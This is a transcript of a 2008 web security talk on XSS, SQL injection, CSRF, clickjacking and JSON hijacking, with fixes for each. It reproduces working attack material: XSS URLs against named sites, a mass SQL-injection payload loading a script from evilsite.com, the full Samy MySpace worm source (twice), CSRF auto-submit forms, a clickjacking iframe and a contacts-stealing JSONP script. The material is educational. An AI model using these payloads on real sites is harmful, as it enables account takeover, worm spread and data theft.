web security horror stories

76
Web Security Horror Stories Simon Willison, 26th October 2008 The Director’s Cut

Upload: simon-willison

Post on 13-May-2015

36.506 views

Category:

Technology


0 download

DESCRIPTION

Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.

TRANSCRIPT

Page 1: Web Security Horror Stories

Web SecurityHorror Stories

Simon Willison, 26th October 2008

The Director’s Cut

Page 2: Web Security Horror Stories

The edited version

• On Friday, I spent 15 minutes introducing:

• XSS

• CSRF / login CSRF

• SQL injection

• Clickjacking

• I promised this talk would provide fixes

Page 3: Web Security Horror Stories

XSS

• Cross-site scripting

• Attacker injects JavaScript code in to your site

• Amazingly common

• A single XSS hole on your domain compromises your security, entirely

Page 4: Web Security Horror Stories

If you are subject to an XSS, the same domain policy

already ensures that you’re f’d. An XSS attack is the

“root” or “ring 0” attack of the web.

Alex Russell:

http://www.sitepen.com/blog/2007/01/07/when-vendors-attack-film-at-11/

Page 5: Web Security Horror Stories

The same origin policy

“The same origin policy prevents a document or script loaded from one

origin from getting or setting properties of a document from another origin. This policy dates all the way back to

Netscape Navigator 2.0.”

https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript

Page 6: Web Security Horror Stories

Why?• Without the same origin policy, I could load

your site in a frame, iframe or popup window from my site...

• ... and steal data from it

• ... or rewrite it with my own modifications

• evil.hax.ru should not be able to read secret-wiki.bigco.intl

• XMLHttpRequest has the same policy

Page 7: Web Security Horror Stories

Things I can do if you have an XSS hole

• Steal your users’ cookies and log in as them

• Show a fake phishing login page on your site

• Embed malware and drive-by downloads

• Perform any action as if I was your user

Page 8: Web Security Horror Stories

Two categories of XSS

• Reflected

• I embed my JS in a link to your site and trick your user in to following it

• Persistent

• I get my XSS in to your site’s database somehow so that it shows up on your pages

Page 9: Web Security Horror Stories

http://www.facebook.com/srch.php?nm=xss%00<script>alert('XSS')</script>

http://www.youtube.com/edit_playlist_info?p='%22%3E%3Cscript%20src=http://ckers.org/s%3E

http://groups.google.com/group/rec.sport.pro-wrestling/browse_thread/thread/1ab38554971acfc9')&+eval

(alert(document.cookie))&+eval('?tvc=2

http://search.live.com/images/results.aspx?q=1&first=21&FORM=PEIR"><script>alert('securitylab.ru')</script>

All from http://xssed.com/

Page 10: Web Security Horror Stories
Page 11: Web Security Horror Stories

SQL injection

Page 12: Web Security Horror Stories

Inexcusable.Use paramaterised queries, or an ORM

Page 13: Web Security Horror Stories

If you’re gluing SQL strings together with

string appends,

Page 14: Web Security Horror Stories

• Wrong:

• $sql = "select * from users where username = '" . $username . "'";

• Right:

• $results = db_query("select * from users where username = ?", $username);

Page 15: Web Security Horror Stories

Mass XSS via SQL injectionDECLARE @T varchar(255), @C varchar(255);DECLARE Table_Cursor CURSOR FORSELECT a.name, b.nameFROM sysobjects a, syscolumns bWHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T, @C;WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C;END;CLOSE Table_Cursor;DEALLOCATE Table_Cursor;

http://hackademix.net/2008/04/26/mass-attack-faq/

Page 16: Web Security Horror Stories

Preventing XSS

• Use a tool that escapes everything on output

• Only unescape stuff that you know is safe and you know contains markup you want to execute

• IE 8 has an XSS filter; this is irrelevant to developers

• httpOnly cookies are mostly a waste of time

Page 17: Web Security Horror Stories

HTML “sanitisation”• My users need to be able to add links

and basic styles to their submissions

• “I’ll let them use HTML and remove anything nasty”

• An extremely common vector for XSS

• MySpace

• LiveJournal

• Almost anyone else who tries

Page 18: Web Security Horror Stories

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Page 19: Web Security Horror Stories

samy is my herohttp://namb.la/popular/

Page 20: Web Security Horror Stories

A social network worm

• XSS hole in MySpace’s HTML filter

• When you viewed Samy’s profile...

• JS makes you add him as a friend

• JS uses XMLHttpRequest to add his exploit to YOUR profile as well

Page 21: Web Security Horror Stories

20 hours, 1,005,831 friend requests

(then MySpace crashed)

Page 22: Web Security Horror Stories

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Page 23: Web Security Horror Stories

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="...">

eval('document.body.inne' + 'rHTML');

eval('xmlhttp.onread' + 'ystatechange = callback');

http://namb.la/popular/tech.html

Page 24: Web Security Horror Stories

Things to remember

• Whitelist, don’t blacklist

• You’re programming against undocumented parsing routines in closed-source browsers

• Distrust any library that doesn’t have a unit test suite a mile long

• http://ha.ckers.org/xss.html

• http://code.google.com/p/html5lib/ is promising

Page 25: Web Security Horror Stories

Google’s UTF-7 hole

Page 26: Web Security Horror Stories

The UTF-7 hole• Google’s 404 pages used to be served

without a character set specified in the HTTP headers or <head> section

• Without those hints, IE inspects the first 4096 bytes to “guess” which encoding is used

• XSS attacks encoded as UTF-7 were shown on the page and executed by IE

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

Page 27: Web Security Horror Stories

You can’t trust CSS either• Want to let your users include their own

stylesheet?

• HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks

• LiveJournal were attacked with this

• A “position: absolute” hack was used to steal 30,000 MySpace passwords last year

http://community.livejournal.com/lj_dev/708069.html

http://www.securiteam.com/securitynews/6O00M0AHFW.html

Page 28: Web Security Horror Stories

CSRF

Page 29: Web Security Horror Stories

“We’ve found CSRF vulnerabilities in sites that have a huge incentive to do security correctly. If you’re in charge of a website and haven’t

specifically protected against CSRF, chances are you’re vulnerable”

Bill Zeller:

Page 30: Web Security Horror Stories

The Google Web Accelerator

Page 31: Web Security Horror Stories

How does it work?

• It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them

• Links like http://app.example.com/delete.php?id=5

Page 32: Web Security Horror Stories

How does it work?

• It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them

• Links like http://app.example.com/delete.php?id=5

Page 34: Web Security Horror Stories

That’s also a security hole

<img src="http://app.example.com/delete.php?id=1"><img src="http://app.example.com/delete.php?id=2"><img src="http://app.example.com/delete.php?id=3"><img src="http://app.example.com/delete.php?id=4"><img src="http://app.example.com/delete.php?id=5"><img src="http://app.example.com/delete.php?id=6"><img src="http://app.example.com/delete.php?id=7"><img src="http://app.example.com/delete.php?id=8">

...

Page 35: Web Security Horror Stories

So use POST

• You can't create a page that automatically posts to another site, can you?

Page 36: Web Security Horror Stories

POST will not save you<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"> <input type="submit" value="More kittens please!"></form>

fofurasfelinas: http://www.flickr.com/photos/fofurasfelinas/9724483/

Page 37: Web Security Horror Stories

Or do it with JavaScript<div style="display: none"><form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"></form></div>

<script>document.forms[0].submit()</script>

Put this in a hidden iframe and your victim won't even know it happened.

Page 38: Web Security Horror Stories

The Digg exploit

• A few years ago, Digg had no CSRF protection on their “digg this” button

• Self-digging pages!

http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/

Page 39: Web Security Horror Stories

http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

The Gmail filter hack

Page 41: Web Security Horror Stories

Preventing CSRF• You need to distinguish between form

interactions from your user on your site, and form interactions from your user on some other site

• Referrer checking is notoriously unreliable

• Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site

Page 42: Web Security Horror Stories

Crumbs<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="crumb" value="856c2f50ddc49fd710f14a406ec1fef652d3c9f"> <input type="submit" value="Delete this item"></form>

Page 43: Web Security Horror Stories

Crumbs

• Should be unique per user (or one user can use their crumb to attack another)

• Hence should be tied to the user’s session or login cookie

• Should be changed over time

• Quick and dirty: use sha1(salt + user’s session ID + timestamp) as the crumb

Page 44: Web Security Horror Stories

Protecting the crumb

• Your crumb is now the only thing protecting you from CSRF attacks

• This is why XSS is “ring 0” for the Web

• With XSS, I can steal your crumb and run riot across your site

• XSS holes are automatically CSRF holes

Page 45: Web Security Horror Stories

Crumbs and Ajax

• Ajax can set HTTP headers; regular forms can’t

• Ajax requests must be from the same domain

• So X-Requested-By: XMLHttpRequest can only come from your own site

• You can skip your crumb checking for requests that include that custom header

Page 46: Web Security Horror Stories

Login CSRF

• Most login forms skip CSRF protection

• Create a throw-away PayPal account

• Use CSRF to log someone in as “you”

• Hope that they add their credit card or bank details

• Log in later and steal all of their money!

Page 48: Web Security Horror Stories
Page 49: Web Security Horror Stories

iframe!

Page 50: Web Security Horror Stories
Page 51: Web Security Horror Stories
Page 52: Web Security Horror Stories
Page 53: Web Security Horror Stories
Page 54: Web Security Horror Stories
Page 55: Web Security Horror Stories

<style type="text/css">iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0;}#decoy { ...}</style>

<iframe src="http://veryimportantapp.com/delete-account/"></iframe>

<p id="decoy">Click HERE for kittens!</p>

Page 56: Web Security Horror Stories

Frame-busting

<script type="text/javascript">if (top.location != location) { top.location.href = document.location.href;}</script>

• Ironically, turning off JavaScript in your browser makes you less safe here

Page 57: Web Security Horror Stories
Page 58: Web Security Horror Stories
Page 59: Web Security Horror Stories

Anti click-jacking

Page 60: Web Security Horror Stories

The problem with plugins

Page 61: Web Security Horror Stories

crossdomain.xml

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

Flash can even fake an X-Requested-With: XMLHttpRequest header

That’s why Flickr use api.flickr.com/crossdomain.xml instead

Page 62: Web Security Horror Stories

crossdomain.xml

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

Flash can even fake an X-Requested-With: XMLHttpRequest header

That’s why Flickr use api.flickr.com/crossdomain.xml instead

Page 63: Web Security Horror Stories

Nasty crossdomain.xml tricks

00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72 GIF89a.......<cr00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-polic00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y>...<allow-acce00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain="00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d *"/>....</cross-00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>..

http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html

loadPolicyFile("http://dom.ext/exit.php?url=http://dom.ext/upl/Xdomain.xml")

Page 64: Web Security Horror Stories

The PDF hole

• In January 2007, an XSS hole was found in the Adobe PDF reader itself

• It could execute JavaScript in the context of the current domain

• Any sites hosting .pdf files for download were vulnerable

http://shiflett.org/blog/2007/jan/adobe-pdf-xss-vulnerability

Page 65: Web Security Horror Stories

You can’t secure your site 100%, because there’s

always a chance a browser or plugin will screw things

up for you

Page 66: Web Security Horror Stories

Insecure JSON

Page 67: Web Security Horror Stories

• http://json-tinyurl.appspot.com/

• http://json-time.appspot.com/

• http://json-head.appspot.com/

JSONP rocks!

http://json-tinyurl.appspot.com/?url=http://example.com/&callback=foo

foo({"tinyurl": "http:\/\/tinyurl.com\/kotu", "ok": true})

Page 68: Web Security Horror Stories

• JSONP lets you opt-in to sharing your site’s data with other sites using JavaScript

• ... so make sure it’s data you want to share

Page 69: Web Security Horror Stories

Stealing Google contacts<script>function google(a){ var emails; for(i=1;i<a.Body.Contacts.length;i){ alert(a.Body.Contacts[i].Email); } emails = "</ol>" document.write(emails);}</script><script src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>

http://blog.adamjacobmuller.com/gmail.txt

http://www.cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/

Page 70: Web Security Horror Stories

“If any JSON feed containing user-sensitive information is

wrapped with a call-back and has a predictable URL... then

that data is at risk”

Jeremiah Grossman:

http://jeremiahgrossman.blogspot.com/2007/01/gmail-xsrf-json-call-back-hackery.html

Page 71: Web Security Horror Stories

Regular JSON?

• That’s not secure either

• In old versions of Firefox, you can redefine the Array constructor to grab the data

• If your JSON object is an array, the data can be grabbed using <script src="your-data-here">

http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html

Page 72: Web Security Horror Stories

Secure JSON

Use { } as the root, not [ ]

while (true) { {"json": "goes here"}}

If you’re paranoid about future similar problems, use an idiom like this one:

Page 73: Web Security Horror Stories

And if that wasn’t enough

“More than 70% of people would reveal their computer password in exchange for a bar of chocolate, a survey has found.”

http://news.bbc.co.uk/1/hi/technology/3639679.stm

• We have a shared responsibility to teach people better online security behaviour

• Don’t teach our users to be phished!

Page 74: Web Security Horror Stories

NoScript?

Page 76: Web Security Horror Stories

Thank you